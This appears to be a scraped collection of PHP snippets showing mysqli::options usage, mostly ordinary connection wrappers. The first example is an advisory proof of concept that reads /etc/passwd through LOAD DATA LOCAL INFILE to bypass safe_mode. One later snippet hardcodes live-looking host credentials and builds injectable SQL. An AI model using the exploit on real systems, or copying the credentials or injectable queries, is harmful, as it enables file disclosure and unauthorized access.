Example #1
2
source: http://www.securityfocus.com/bid/4026/info
 
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
 
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').

<?php 
function r($fp, &$buf, $len, &$err)
{
    print fread($fp, $len);
}
$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
Example #2
1
 /**
  * Connect to the db
  *
  * MySQLi can connect using SSL if $config contains an 'ssl' sub-array
  * containing the following keys:
  *     + key      The path to the key file.
  *     + cert     The path to the certificate file.
  *     + ca       The path to the certificate authority file.
  *     + capath   The path to a directory that contains trusted SSL
  *                CA certificates in pem format.
  *     + cipher   The list of allowable ciphers for SSL encryption.
  *
  * Example of how to connect using SSL:
  * <code>
  * $config = array(
  *     'username' => 'someuser',
  *     'password' => 'apasswd',
  *     'hostspec' => 'localhost',
  *     'database' => 'thedb',
  *     'ssl'      => array(
  *         'key'      => 'client-key.pem',
  *         'cert'     => 'client-cert.pem',
  *         'ca'       => 'cacert.pem',
  *         'capath'   => '/path/to/ca/dir',
  *         'cipher'   => 'AES',
  *     ),
  * );
  *
  * $db = new Horde_Db_Adapter_Mysqli($config);
  * </code>
  */
 public function connect()
 {
     $config = $this->_parseConfig();
     if (!empty($config['ssl'])) {
         $mysqli = mysqli_init();
         $mysqli->ssl_set(empty($config['ssl']['key']) ? null : $config['ssl']['key'], empty($config['ssl']['cert']) ? null : $config['ssl']['cert'], empty($config['ssl']['ca']) ? null : $config['ssl']['ca'], empty($config['ssl']['capath']) ? null : $config['ssl']['capath'], empty($config['ssl']['cipher']) ? null : $config['ssl']['cipher']);
         $mysqli->real_connect($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']);
     } else {
         $oldErrorReporting = error_reporting(0);
         $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']);
         error_reporting($oldErrorReporting);
     }
     if (mysqli_connect_errno()) {
         throw new Horde_Db_Exception('Connect failed: (' . mysqli_connect_errno() . ') ' . mysqli_connect_error(), mysqli_connect_errno());
     }
     // If supported, request real datatypes from MySQL instead of returning
     // everything as a string.
     if (defined('MYSQLI_OPT_INT_AND_FLOAT_NATIVE')) {
         $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, true);
     }
     $this->_connection = $mysqli;
     $this->_active = true;
 }
Example #3
1
 function connect()
 {
     if ($this->connected) {
         return;
     }
     parent::init();
     parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, $this->connect_timeout);
     if ($this->persistent && version_compare(PHP_VERSION, '5.3.0') > 0) {
         $this->connected = parent::real_connect('p:' . $this->dbhost, $this->dbuser, $this->dbpassword, $this->dbname, $this->port);
     } else {
         $this->connected = parent::real_connect($this->dbhost, $this->dbuser, $this->dbpassword, $this->dbname, $this->port);
     }
     if (!$this->connected) {
         header('HTTP/1.1 503 Service Unavailable');
         die;
     }
     $this->set_charset('utf8');
     if (!$this->ban_checked) {
         // Check the IP is not banned before doing anything more
         check_ip_noaccess(2);
         // 2 == don't check in cache
         $this->ban_checked = true;
     }
     if ($this->initial_query) {
         $this->query($this->initial_query);
     }
 }
Example #4
1
 /**
  * Creates a PDO object and connects to the database.
  *
  * @return void
  * @throws \mysqli_sql_exception
  */
 protected function _connect()
 {
     if ($this->_profiler) {
         $q = $this->_profiler->queryStart('connect', Profiler::CONNECT);
     }
     $config = $this->_config;
     if (!empty($config['driver_options'])) {
         foreach ($config['driver_options'] as $option => $value) {
             parent::options($option, $value);
         }
     }
     //try {省略throw-catch-rethrow块,直接抛出\mysqli_sql_exception
     parent::real_connect((empty($config['persistent']) ? '' : 'p:') . (isset($config['host']) ? $config['host'] : ini_get("mysqli.default_host")), isset($config['username']) ? $config['username'] : ini_get("mysqli.default_user"), isset($config['password']) ? $config['password'] : ini_get("mysqli.default_pw"), isset($config['dbname']) ? $config['dbname'] : "", isset($config['port']) ? $config['port'] : ini_get("mysqli.default_port"), isset($config['socket']) ? $config['socket'] : ini_get("mysqli.default_socket"));
     if ($this->connect_errno) {
         throw new ConnectException($this->connect_error, $this->connect_errno);
     }
     $this->_isConnected = true;
     if ($this->_profiler) {
         $this->_profiler->queryEnd($q);
     }
     if (!empty($config['charset'])) {
         parent::set_charset($config['charset']);
     }
 }
 public function open()
 {
     if ($this->connected) {
         return false;
     }
     $this->mysqli = mysqli_init();
     $this->connected = @$this->mysqli->real_connect($this->settings->getHost(), $this->settings->getUsername(), $this->settings->getPassword(), $this->settings->getSchema());
     if (!$this->connected) {
         throw new ConnectionException(sprintf('Unable to connect to host "%s" as user "%s". %s.', $this->settings->getHost(), $this->settings->getUsername(), mysqli_connect_error()), '', mysqli_connect_errno());
     }
     @$this->mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
     @$this->mysqli->set_charset($this->settings->getCharset());
     return true;
 }
 /**
  * Connect to the database server and select the database
  *
  * @throws \Exception If the connection cannot be established
  */
 protected function connect()
 {
     $host = $this->arrConfig['dbHost'];
     if ($this->arrConfig['dbPconnect']) {
         $host = 'p:' . $host;
     }
     $this->resConnection = mysqli_init();
     $this->resConnection->options(MYSQLI_INIT_COMMAND, "SET sql_mode='" . $this->arrConfig['dbSqlMode'] . "'");
     $this->resConnection->real_connect($host, $this->arrConfig['dbUser'], $this->arrConfig['dbPass'], $this->arrConfig['dbDatabase'], $this->arrConfig['dbPort'], $this->arrConfig['dbSocket']);
     if ($this->resConnection->connect_error) {
         throw new \Exception($this->resConnection->connect_error);
     }
     $this->resConnection->set_charset($this->arrConfig['dbCharset']);
 }
 function getConnection(MySQLConnection $connection, $inTransaction)
 {
     if ($this->isConnected()) {
         return $this->mysqli;
     }
     $this->mysqli = mysqli_init();
     $this->mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 2);
     //Connect - With compression
     $connection_status = mysqli_real_connect($this->mysqli, $this->host, $this->user, $this->pass, $this->db, $this->port, null, $this->compression ? MYSQLI_CLIENT_COMPRESS : 0);
     if (!$connection_status) {
         $this->mysqli = null;
         throw new ConnectionException($connection->__toString(), $connection->error());
     }
     return $this->mysqli;
 }
Example #8
0
 /**
  * Create a new Mysqli object.
  *
  * @param array $params
  * @return object
  */
 public function __construct($key)
 {
     mysqli_report(MYSQLI_REPORT_STRICT);
     $params = Config::get('mysql.' . $key);
     if ($params === null && IS_SUBSITE) {
         $params = MainConfig::get('mysql.' . $key);
     }
     if ($params === null) {
         $params = [];
     }
     parent::init();
     $params['pass'] = isset($params['pass']) ? $params['pass'] : '';
     $params['user'] = isset($params['user']) ? $params['user'] : 'root';
     $params['host'] = isset($params['host']) ? $params['host'] : '127.0.0.1';
     $params['port'] = isset($params['port']) ? $params['port'] : 3306;
     $params['timeout'] = isset($params['timeout']) ? $params['timeout'] : 30;
     $params['charset'] = isset($params['charset']) ? $params['charset'] : 'utf8';
     $params['database'] = isset($params['database']) ? $params['database'] : false;
     parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, $params['timeout']);
     parent::real_connect($params['host'], $params['user'], $params['pass'], $params['database'], $params['port']);
     if ($this->errno === 0) {
         $this->set_charset($params['charset']);
         if (isset($params['cache']) && $params['cache'] === false) {
             $this->cache(false);
         }
     }
 }
Example #9
0
 /**
  * Executes Command after when connecting to MySQL server
  * @param string $command Command to execute
  */
 public function initCommand($command)
 {
     if (!empty($command)) {
         $this->query($command);
         $this->conn->options(MYSQLI_INIT_COMMAND, $command);
     }
 }
Example #10
0
function getConn()
{
    $conn = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
    $conn->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
    $conn->query("SET NAMES utf8");
    return $conn;
}
Example #11
0
 /**
  * Connect to db, return connect identifier
  *
  * @param string $dbhost, The MySQL server hostname.
  * @param string $dbuser, The username.
  * @param string $dbpass, The password.
  * @param string $dbname, The db name, optional, defualt to ''
  * @param string $dbport, The MySQL server port, optional, defualt to '3306'
  * @param string $charset, Connect charset, optional, default to 'utf8'
  * @param bool $pconnect, Whether persistent connection: 1 - Yes, 0 - No
  * @return link_identifier
  */
 function connect($dbhost, $dbuser, $dbpass, $dbname = '', $dbport = '3306', $charset = 'utf8', $pconnect = 0)
 {
     if ($pconnect && version_compare(PHP_VERSION, '5.3.0', '>=')) {
         //PHP since 5.3.0 added the ability of persistent connections.
         $dbhost = 'p:' . $dbhost;
     }
     //$mysqli = mysqli_init();
     $mysqli = new mysqli();
     if (!$mysqli) {
         $this->halt('mysqli_init failed');
     }
     //$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0');
     $mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, $this->connTimeout);
     // - TRUE makes mysql_connect() always open a new link, even if
     //   mysql_connect() was called before with the same parameters.
     //   This is important if you are using two databases on the same
     //   server.
     // - 2 means CLIENT_FOUND_ROWS: return the number of found
     //   (matched) rows, not the number of affected rows.
     if (!@$mysqli->real_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport, null, MYSQLI_CLIENT_COMPRESS | MYSQLI_CLIENT_FOUND_ROWS)) {
         $this->halt("Connect to {$dbuser}@{$dbhost}:{$dbport} Error: ({$mysqli->connect_errno}){$mysqli->connect_error}");
     }
     $mysqli->set_charset($charset);
     $this->linkId = $mysqli;
     return $this->linkId;
 }
Example #12
0
 /**
  * Creates a real connection to the database with multi-query capability.
  *
  * @return void
  * @throws Zend_Db_Adapter_Mysqli_Exception
  */
 protected function _connect()
 {
     if ($this->_connection) {
         return;
     }
     if (!extension_loaded('mysqli')) {
         throw new Zend_Db_Adapter_Exception('mysqli extension is not installed');
     }
     // Suppress connection warnings here.
     // Throw an exception instead.
     @($conn = new mysqli());
     if (false === $conn || mysqli_connect_errno()) {
         throw new Zend_Db_Adapter_Mysqli_Exception(mysqli_connect_errno());
     }
     $conn->init();
     $conn->options(MYSQLI_OPT_LOCAL_INFILE, true);
     #$conn->options(MYSQLI_CLIENT_MULTI_QUERIES, true);
     $port = !empty($this->_config['port']) ? $this->_config['port'] : null;
     $socket = !empty($this->_config['unix_socket']) ? $this->_config['unix_socket'] : null;
     // socket specified in host config
     if (strpos($this->_config['host'], '/') !== false) {
         $socket = $this->_config['host'];
         $this->_config['host'] = null;
     } elseif (strpos($this->_config['host'], ':') !== false) {
         list($this->_config['host'], $port) = explode(':', $this->_config['host']);
     }
     #echo "<pre>".print_r($this->_config,1)."</pre>"; die;
     @$conn->real_connect($this->_config['host'], $this->_config['username'], $this->_config['password'], $this->_config['dbname'], $port, $socket);
     if (mysqli_connect_errno()) {
         throw new Zend_Db_Adapter_Mysqli_Exception(mysqli_connect_error());
     }
     $this->_connection = $conn;
     /** @link http://bugs.mysql.com/bug.php?id=18551 */
     $this->_connection->query("SET SQL_MODE=''");
 }
 /**
  * Constructor for the MySQLi Extension
  *
  * Throws an exception when connection fails
  *
  * @param $Host
  *   The hostname/ip address of the database server
  *
  * @param $Port
  *   The port on which the database server is listening
  *
  * @param $UserName
  *   A UserName which has access to the database we'll be using.
  *
  * @param $Password
  *   The Password for the UserName provided
  *
  * @param $Database
  *   The Database which contains the Neflaria tables
  *
  * @throws Exception
  */
 public function __construct($Host, $UserName, $Password, $Database, $Port)
 {
     parent::init();
     if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
         $this->LogError('?', 'Setting the connect timeout failed');
     }
     if (!parent::real_connect($Host, $UserName, $Password, $Database, $Port)) {
         $this->LogError(mysqli_connect_errno(), mysqli_connect_error());
     }
 }
Example #14
0
 /**
  * @param QuarkURI $uri
  *
  * @return mixed
  *
  * @throws QuarkArchException
  * @throws QuarkConnectionException
  */
 public function Connect(QuarkURI $uri)
 {
     $this->_connection = \mysqli_init();
     if (!$this->_connection) {
         throw new QuarkArchException('MySQLi initialization fault');
     }
     $options = $uri->options;
     if (is_array($options)) {
         foreach ($options as $key => $value) {
             if (!$this->_connection->options($key, $value)) {
                 throw new QuarkArchException('MySQLi option set error');
             }
         }
     }
     if (!$this->_connection->real_connect($uri->host, $uri->user, $uri->pass, QuarkSQL::DBName($uri->path), (int) $uri->port)) {
         throw new QuarkConnectionException($uri, Quark::LOG_FATAL);
     }
     $this->_sql = new QuarkSQL($this);
 }
Example #15
0
 public function __construct($host = '127.0.0.1', $username = 'root', $password = 'root', $dbname = 'web_train')
 {
     parent::init();
     if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
         die('Setting options failed');
     }
     if (!parent::real_connect($host, $username, $password, $dbname)) {
         die('Connect to db failed');
     }
     parent::query('set names utf8');
 }
Example #16
0
 private final function __construct()
 {
     parent::init();
     if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
         throw new Exception('Setting MYSQLI_INIT_COMMAND failed');
     }
     if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
         throw new Exception('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
     }
     if (!parent::real_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME)) {
         throw new Exception('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error());
     }
 }
Example #17
0
 /**
  * {@inheritDoc}
  */
 protected function realSetAttribute($attribute, $value)
 {
     if (is_string($attribute)) {
         if (defined($attribute)) {
             $this->link->options(constant($attribute), $value);
         } else {
             throw new LogicException(Message::get(Message::DB_UNKNOWN_ATTRIBUTE, $attribute), Message::DB_UNKNOWN_ATTRIBUTE);
         }
     } else {
         $this->link->options($attribute, $value);
     }
     return $this;
 }
Example #18
0
 public function rcon($host, $user, $pass, $db)
 {
     parent::init();
     if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
         die('Setting MYSQLI_INIT_COMMAND failed');
     }
     if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
         die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
     }
     #$db_connection = new mysqli('localhost', 'root', '', 'brechbuhler');
     if (!parent::real_connect($host, $user, $pass, $db)) {
         die('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error());
     }
 }
 /**
  * Establish Database Connection
  *
  * @return void
  */
 public function connect()
 {
     // Check Active Connections (Only Connect Once)
     $key = $this->user . '@' . $this->db . '@' . $this->host;
     if (isset(self::$connections[$key])) {
         // Use Active Connection
         $this->connection = self::$connections[$key];
     } else {
         // Setup Connection
         $this->connection = mysqli_init();
         if (!$this->connection) {
             die(Log::halt('mysqli_init failed', 503));
         }
         // Set Database Timeout
         if (!$this->connection->options(MYSQLI_OPT_CONNECT_TIMEOUT, 10)) {
             die(Log::halt('Setting Options Failed', 503));
         }
         // Connect to Database
         if (!$this->connection->real_connect($this->host, $this->user, $this->pass, $this->db)) {
             die(Log::halt('Connect fatal error: could not connect to host - ' . mysqli_connect_error(), 503));
         }
         // UTF-8 Character Set
         if (!$this->connection->set_charset('utf8')) {
             die(Log::halt('Error loading character set utf8 - ' . $this->connection->error, 503));
         }
         // Set connection Timezone
         $timezone = @date_default_timezone_get();
         if (!$this->connection->query("SET time_zone = '" . $timezone . "';")) {
             die(Log::halt('Error setting timezone to ' . $timezone . ' - ' . $this->connection->error, 503));
         }
         // Debug Log: Connected to Database
         Log::db(__CLASS__, 'Connected To: ' . $this->db . '@' . $this->host);
         // Store Connection
         self::$connections[$key] = $this->connection;
     }
 }
Example #20
0
 /**
  * Connect to the db
  * 
  * @return KDatabaseAdapterMysqli
  */
 public function connect()
 {
     $oldErrorReporting = error_reporting(0);
     $mysqli = new mysqli($this->_options->host, $this->_options->username, $this->_options->password, $this->_options->database, $this->_options->port, $this->_options->socket);
     error_reporting($oldErrorReporting);
     if (mysqli_connect_errno()) {
         throw new KDatabaseAdapterException('Connect failed: (' . mysqli_connect_errno() . ') ' . mysqli_connect_error(), mysqli_connect_errno());
     }
     // If supported, request real datatypes from MySQL instead of returning everything as a string.
     if (defined('MYSQLI_OPT_INT_AND_FLOAT_NATIVE')) {
         $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, true);
     }
     $this->_connection = $mysqli;
     $this->_active = true;
     return $this;
 }
<?php

$con = new mysqli("103.21.59.166:3306", "appcom_sensor", "sensor123", "appcom_sensor_data");
if ($con->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit;
}
$con->options(MYSQLI_OPT_CONNECT_TIMEOUT, 500);
$queryOfDeviceNo = "SELECT DISTINCT device_serial_no FROM trial_pollution";
$sql = mysqli_query($con, $queryOfDeviceNo);
$device_serial_no = array();
while ($rowdata = mysqli_fetch_assoc($sql)) {
    $device_serial_no[] = $rowdata;
}
//mysqli_close($con);
//echo json_encode($device_serial_no);
date_default_timezone_set('Asia/Kolkata');
$currentDateTime = date("Y-m-d H:i:s");
foreach ($device_serial_no as $value) {
    $deviceSerailNo = implode(",", $value);
    $con->options(MYSQLI_OPT_CONNECT_TIMEOUT, 500);
    $queryOfAVG = "SELECT avg(pm2)as pm2 FROM trial_pollution \n                        WHERE sen_time >= DATE_SUB('{$currentDateTime}', INTERVAL 24 HOUR) AND device_serial_no='{$deviceSerailNo}' ";
    $isAvarage = mysqli_query($con, $queryOfAVG);
    $avgValue = mysqli_fetch_row($isAvarage);
    $Pm2AvgValue = $avgValue[0];
    $currentDateTime = date("Y-m-d H:i:s");
    $count = mysqli_num_rows($isAvarage);
    if ($count == 1) {
        $con->options(MYSQLI_OPT_CONNECT_TIMEOUT, 500);
        $query = "INSERT INTO sensorAverage(pm2,device_serial_no,time) VALUES ('{$Pm2AvgValue}','{$deviceSerailNo}','{$currentDateTime}') ";
        $isInserted = mysqli_query($con, $query);
Example #22
0
 /**
  * Set mysql options
  *
  * @param \mysqli $conn
  * @param array   $options
  */
 protected function setOptions(\mysqli $conn, $options)
 {
     foreach ($options as $option => $value) {
         $conn->options($option, $value);
     }
 }
Example #23
0
}
?>
        </pre>
        Mostrando resultados y tipos de cadena

        <pre>
Es posible convertir valores de columnas de tipo integer y float a números de PHP 
estableciendo la opción de conexión <strong>MYSQLI_OPT_INT_AND_FLOAT_NATIVE</strong>, si se esta´utilizando 
la biblioteca <strong>mysqlnd</strong>. Si se establece, la biblioteca mysqlnd comprobará los tipos de columna de los metadatos 
del conjunto de resultados y convertirá las columnas númerocas de SQL a números de PHP, 
si el rango de valores del tipo de datos de PHP lo permite. De esta forma, por ejemplo, 
las columnas INT de SQL son devueltas como enteros.

            <?php 
$mysqli = new mysqli();
$mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
$mysqli->real_connect("127.0.0.1", "root", "", "jcugarte");
if ($mysqli->connect_errno) {
    echo "Falló la conexión a MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}
if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT, etiqueta CHAR(1))") || !$mysqli->query("INSERT INTO test(id, etiqueta) VALUES (1, 'a')")) {
    echo "Falló la creación de la tabla: (" . $mysqli->errno . ") " . $mysqli->error;
}
$resultado = $mysqli->query("SELECT id, etiqueta FROM test WHERE id = 1");
$fila = $resultado->fetch_assoc();
//echo json_encode($fila);
printf("id = %s (%s)\n", $fila['id'], gettype($fila['id']));
printf("etiqueta = %s (%s)\n", $fila['etiqueta'], gettype($fila['etiqueta']));
?>
        </pre>
Example #24
-1
 /**
  * Connect
  *
  * @throws Exception\RuntimeException
  * @return $this
  */
 public function connect()
 {
     if ($this->resource instanceof \mysqli) {
         return $this;
     }
     // localize
     $p = $this->connectionParameters;
     // given a list of key names, test for existence in $p
     $findParameterValue = function (array $names) use($p) {
         foreach ($names as $name) {
             if (isset($p[$name])) {
                 return $p[$name];
             }
         }
         return;
     };
     $hostname = $findParameterValue(array('hostname', 'host'));
     $username = $findParameterValue(array('username', 'user'));
     $password = $findParameterValue(array('password', 'passwd', 'pw'));
     $database = $findParameterValue(array('database', 'dbname', 'db', 'schema'));
     $port = isset($p['port']) ? (int) $p['port'] : null;
     $socket = isset($p['socket']) ? $p['socket'] : null;
     $this->resource = new \mysqli();
     $this->resource->init();
     if (!empty($p['driver_options'])) {
         foreach ($p['driver_options'] as $option => $value) {
             if (is_string($option)) {
                 $option = strtoupper($option);
                 if (!defined($option)) {
                     continue;
                 }
                 $option = constant($option);
             }
             $this->resource->options($option, $value);
         }
     }
     $this->resource->real_connect($hostname, $username, $password, $database, $port, $socket);
     if ($this->resource->connect_error) {
         throw new Exception\RuntimeException('Connection error', null, new Exception\ErrorException($this->resource->connect_error, $this->resource->connect_errno));
     }
     if (!empty($p['charset'])) {
         $this->resource->set_charset($p['charset']);
     }
     return $this;
 }
Example #25
-1
<?php

include "connect.inc";
$db1 = new mysqli();
// These calls fail
$db1->options(MYSQLI_OPT_CONNECT_TIMEOUT, 3);
my_mysqli_real_connect($db1, $host, $user, $passwd, $db, $port, $socket);
if (mysqli_connect_error()) {
    echo "error 1\n";
} else {
    echo "ok 1\n";
}
$db2 = mysqli_init();
$db2->options(MYSQLI_OPT_CONNECT_TIMEOUT, 3);
my_mysqli_real_connect($db2, $host, $user, $passwd, $db, $port, $socket);
if (mysqli_connect_error()) {
    echo "error 2\n";
} else {
    echo "ok 2\n";
}
echo "done\n";
Example #26
-1
<?php

session_start();
error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
$mysqli = new mysqli();
if (!$mysqli) {
    die('mysqli_init failed');
}
if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 1')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}
$mysqli->options(MYSQLI_INIT_COMMAND, "SET NAMES 'utf8'");
if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}
if (!$mysqli->real_connect($conf['dbhost'], $conf['dbuser'], $conf['dbpasswd'], $conf['dbname'], $conf['dbport'], $conf['dbpath'])) {
    die('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error());
}
//print_r($mysqli->host_info);
# GET/POST --> form
$form = $_REQUEST;
$mode = $form['mode'];
Example #27
-1
 public function get()
 {
     $mysql = $this->internal_mysql;
     if (!$mysql instanceof MySQLi) {
         if (!$this->port) {
             $this->port = ini_get('mysqli.default_port');
         }
         $this->current_db = $this->dbName;
         $mysql = new mysqli();
         $connect_flags = 0;
         if ($this->ssl['key']) {
             $mysql->ssl_set($this->ssl['key'], $this->ssl['cert'], $this->ssl['ca_cert'], $this->ssl['ca_path'], $this->ssl['cipher']);
             $connect_flags |= MYSQLI_CLIENT_SSL;
         }
         foreach ($this->connect_options as $key => $value) {
             $mysql->options($key, $value);
         }
         // suppress warnings, since we will check connect_error anyway
         @$mysql->real_connect($this->host, $this->user, $this->password, $this->dbName, $this->port, null, $connect_flags);
         if ($mysql->connect_error) {
             $this->nonSQLError('Unable to connect to MySQL server! Error: ' . $mysql->connect_error);
         }
         $mysql->set_charset($this->encoding);
         $this->internal_mysql = $mysql;
         $this->server_info = $mysql->server_info;
     }
     return $mysql;
 }
Example #28
-1
 /**
  * @param	array $params
  * @return	int
  */
 public function setConnectionOptions(MysqliDriver $driver, array $data)
 {
     if (isset($data['connect-timeout'])) {
         $seconds = $data['connect-timeout'];
         if (!is_int($seconds) || $seconds < 0) {
             $err = 'MYSQLI_OPT_CONNECT_TIMEOUT must be a postive integer';
             throw new InvalidArgumentException($err);
         }
         $driver->options(MYSQLI_OPT_CONNECT_TIMEOUT, $seconds);
     }
     if (isset($data['init-command'])) {
         $cmd = $data['init-command'];
         if (!is_string($cmd) || empty($cmd)) {
             $err = 'MYSQLI_INIT_COMMAND must be an non empty string';
             throw new InvalidArgumentException($err);
         }
         $driver->options(MYSQLI_INIT_COMMAND, $cmd);
     }
     if (isset($data['is-local-infile'])) {
         $isLocal = true === $data['is-local-infile'] ? true : false;
         $driver->options(MYSQLI_OPT_LOCAL_INFILE, $isLocal);
     }
     if (isset($data['read-default-file'])) {
         $file = $data['read-default-file'];
         if (!is_string($file) || empty($file)) {
             $err = 'MYSQLI_READ_DEFAULT_FILE must be a non empty string';
             throw new InvalidArgumentException($err);
         }
         $driver->options(MYSQLI_READ_DEFAULT_FILE, $file);
     }
     if (isset($data['read-default-group'])) {
         $group = $data['read-default-group'];
         if (!is_string($group) || empty($group)) {
             $err = 'MYSQLI_READ_DEFAULT_GROUP must be a non empty string';
             throw new InvalidArgumentException($err);
         }
         $driver->options(MYSQLI_READ_DEFAULT_GROUP, $file);
     }
 }
Example #29
-1
 public function __construct($host, $user, $pass, $db)
 {
     parent::init();
     if (!parent::options(MYSQLI_INIT_COMMAND, "SET AUTOCOMMIT = 1")) {
         throw new Error("MYSQLI_INIT_COMMAND Fail");
     }
     if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
         throw new Error("MYSQLI_OPT_CONNECT_TIMEOUT Fail");
     }
     if (!parent::real_connect($host, $user, $pass, $db)) {
         throw new Error("Connection ERROR. " . mysqli_connect_errno() . ": " . mysqli_connect_error());
     }
     Debug("MySQL connection established");
 }
Example #30
-2
 /**
  * Connect to the db
  *
  * MySQLi can connect using SSL if $config contains an 'ssl' sub-array
  * containing the following keys:
  *     + key      The path to the key file.
  *     + cert     The path to the certificate file.
  *     + ca       The path to the certificate authority file.
  *     + capath   The path to a directory that contains trusted SSL
  *                CA certificates in pem format.
  *     + cipher   The list of allowable ciphers for SSL encryption.
  *
  * Example of how to connect using SSL:
  * <code>
  * $config = array(
  *     'username' => 'someuser',
  *     'password' => 'apasswd',
  *     'hostspec' => 'localhost',
  *     'database' => 'thedb',
  *     'ssl'      => array(
  *         'key'      => 'client-key.pem',
  *         'cert'     => 'client-cert.pem',
  *         'ca'       => 'cacert.pem',
  *         'capath'   => '/path/to/ca/dir',
  *         'cipher'   => 'AES',
  *     ),
  * );
  *
  * $db = new Horde_Db_Adapter_Mysqli($config);
  * </code>
  */
 public function connect()
 {
     if ($this->_active) {
         return;
     }
     $config = $this->_parseConfig();
     if (!empty($config['ssl'])) {
         $mysqli = mysqli_init();
         $mysqli->ssl_set(empty($config['ssl']['key']) ? null : $config['ssl']['key'], empty($config['ssl']['cert']) ? null : $config['ssl']['cert'], empty($config['ssl']['ca']) ? null : $config['ssl']['ca'], empty($config['ssl']['capath']) ? null : $config['ssl']['capath'], empty($config['ssl']['cipher']) ? null : $config['ssl']['cipher']);
         $mysqli->real_connect($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']);
     } else {
         $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']);
     }
     if (mysqli_connect_errno()) {
         throw new Horde_Db_Exception('Connect failed: (' . mysqli_connect_errno() . ') ' . mysqli_connect_error(), mysqli_connect_errno());
     }
     // If supported, request real datatypes from MySQL instead of returning
     // everything as a string.
     if (defined('MYSQLI_OPT_INT_AND_FLOAT_NATIVE')) {
         $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, true);
     }
     $this->_connection = $mysqli;
     $this->_active = true;
     // Set the default charset. http://dev.mysql.com/doc/refman/5.1/en/charset-connection.html
     if (!empty($config['charset'])) {
         $this->setCharset($config['charset']);
     }
     $this->_hasMysqliFetchAll = function_exists('mysqli_fetch_all');
 }